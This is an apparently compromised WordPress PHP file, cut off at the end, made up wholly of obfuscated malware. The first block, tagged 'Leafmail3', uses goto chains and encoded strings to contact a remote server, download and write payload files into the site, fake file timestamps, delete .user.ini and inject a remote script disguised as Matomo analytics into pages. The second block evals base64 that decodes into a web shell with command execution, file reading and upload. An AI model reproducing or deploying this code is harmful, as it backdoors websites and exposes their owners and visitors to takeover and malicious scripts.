Current File : /home/virtualki/22346/wp-admin/includes/wvakqnid.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
eval(base64_decode('CmZ1bmN0aW9uIGp6d2R6KCkgewogICAgJGFuYXdhaXRoID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10pID8gIiA8Zm9udCBjb2xvcj0nZ3JlZW4nPihXcml0ZWFibGUpPC9mb250PiIgOiAiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOwogICAgZWNobyAiCiAgICA8L2Rpdj4KICAgIDx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+CiAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKSAuICInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgogICAgICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgPC90cj48dHI+CiAgICAgICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRhbmF3YWl0aDxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgogICAgICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGFuYXdhaXRoPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgPC90cj48dHI+CiAgICAgICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgICAgIDx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9ia3VzcCB2YWx1ZT0nIiAuIGtrd2F1bygnRmlsZXNNYW4nKSAuICInPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXZscnNvIHZhbHVlPSciIC4ga2t3YXVvKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKSAuICInPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWxzZGVlIHZhbHVlPSciIC4ga2t3YXVvKCd1cGxvYWRGaWxlJykgLiAiJz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zZnRyIHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnc2Z0ciddKSA/IGtrd2F1bygkX1BPU1RbJ3NmdHInXSkgOiAnJykgLiAiJz4KICAgICAgICAgICAgICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGFuYXdhaXRoPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxiciAgPjwvdGQ+CiAgICAgICAgPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgfHwgKHN0cnBvcyhpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0cHd1aWQnKSAhPT0gZmFsc2UpKSB7CgogICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJGhvb2l6eikgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdy